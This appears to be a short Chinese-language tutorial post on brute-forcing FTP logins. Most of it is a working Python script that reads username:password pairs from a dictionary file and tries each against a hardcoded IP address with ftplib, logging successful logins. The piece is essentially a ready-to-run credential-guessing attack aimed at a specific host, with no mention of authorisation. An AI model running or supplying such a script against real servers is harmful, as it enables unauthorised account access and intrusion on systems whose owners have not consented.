暴力破解FTP服务器用户名密码

暴力破解FTP服务器用户名密码
破解

今天的例子很简单，就是用python的FTPLIB模块，登陆ftp服务器。并尝试用户名和密码。
大概的逻辑是，假设远程主机上有FTP服务器，我们使用用户和密码文件，不断的尝试并登陆远程ftp服务器，如果正确，打印日志。脚本很简单，主要如下：

#!/usr/bin/python

#coding:utf-8

import ftplib

import logging

import logging.config

filename=''

logging.config.fileConfig('./logconfig.ini')

__log = logging.getLogger('product')

def ftpconn(host,filename):

    fp = open(filename,'r')

    for line in fp.readlines():

        __log.debug(line)

        if not line.strip('\r').strip('\n'):

            __log.debug("遍历完毕，脚本退出")

            break;

        loginname = line.split(':')[0]

        loginpwd = line.split(':')[1].strip('\r').strip('\n')

        try:

            ftpconn = ftplib.FTP(host,timeout=2)

            ftpconn.login(loginname, loginpwd)

            __log.debug("%s login sucess",host)

            ftpconn.quit()

            #return True

        except Exception as e:

            __log.debug("login %s failed,name:%s,pwd:%s, ,error info %s",host,loginname,loginpwd,str(e))

            #return False

def main():

    global filename

    filename = 'pwddict.txt'

    ftpconn('166.111.174.33',filename)

if __name__ == '__main__':

    main()